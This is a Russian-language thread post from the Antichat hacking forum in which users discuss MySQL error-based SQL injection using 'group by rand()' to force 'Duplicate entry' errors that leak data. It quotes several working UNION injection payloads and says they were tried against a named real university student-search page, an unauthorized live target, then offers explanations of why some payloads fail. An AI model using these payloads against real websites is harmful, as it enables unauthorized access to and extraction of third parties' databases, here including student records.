Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

14.06.2010, 23:46
|
|
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме: 947074
Репутация:
257
|
|
Сообщение от BlackFan
Эксперементирую с group by rand()...
На 5 версии
Код:
select count(0) from table group by concat(version(),x)
x = floor(rand(0)*2) или rand(0)|0 или rand(0)&1 или rand()^0
выдает Duplicate entry
x = rand(0)
выполняется без ошибок.
Решил проверить на 4 версии. (Проверял на сайте http://decanat5.ssau.ru/search_student в sql-inj)
И вот тут результаты просто поставили в ступор
Код:
' union select 1,count(*),3 from student group by concat(version(),rand(0))/*
Выдает Duplicate entry, а
Код:
' union select 1,count(*),3 from student group by concat((select 1),rand(0))/*
нет. В то время как
Код:
' union select 1,count(*),3 from student group by concat(version(),(select 1),rand(0))/*
выдает Duplicate entry, а
Код:
' union select 1,count(*),3 from student group by concat(version(),(select studentid from student limit 1),rand(0))/*
нет.
Так вот вопрос)
1) Почему на 4 версии иногда прокатывает с rand(0), а на 5, сколько не пытался, так и не получилось
2) Почему с floor(rand(0)*2) прокатывает всегда, а с теми же rand(0)|0 работает только на 5 версии
3) Почему вот такой запрос не выдает ошибку, не смотря на то что там floor(rand(0)*2)
Код:
' and (1) = (select count(*) from student group by floor(rand(0)*2))/*
1) На 5, работает практически так же, как и на 4, попадется пример, скину в пм.
2) Самый вероятный вариант, это то, что в 4 версии, символ "|" интерпретируется иначе.
3) По поводу почему у тебя выдает ошибку в случаях, когда её быть не должно. Я полагаю, в union select у тебя идет объединение колонки studentid, которая уже используется в запросе, в результате чего union со своим свойством делейт-дубликат конфликтует и возвращает false в массив, По сути потому что у тебя идёт повторная выборка. Как-то так 
Последний раз редактировалось v1d0qz; 14.06.2010 в 23:56..
|
|
|
|
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|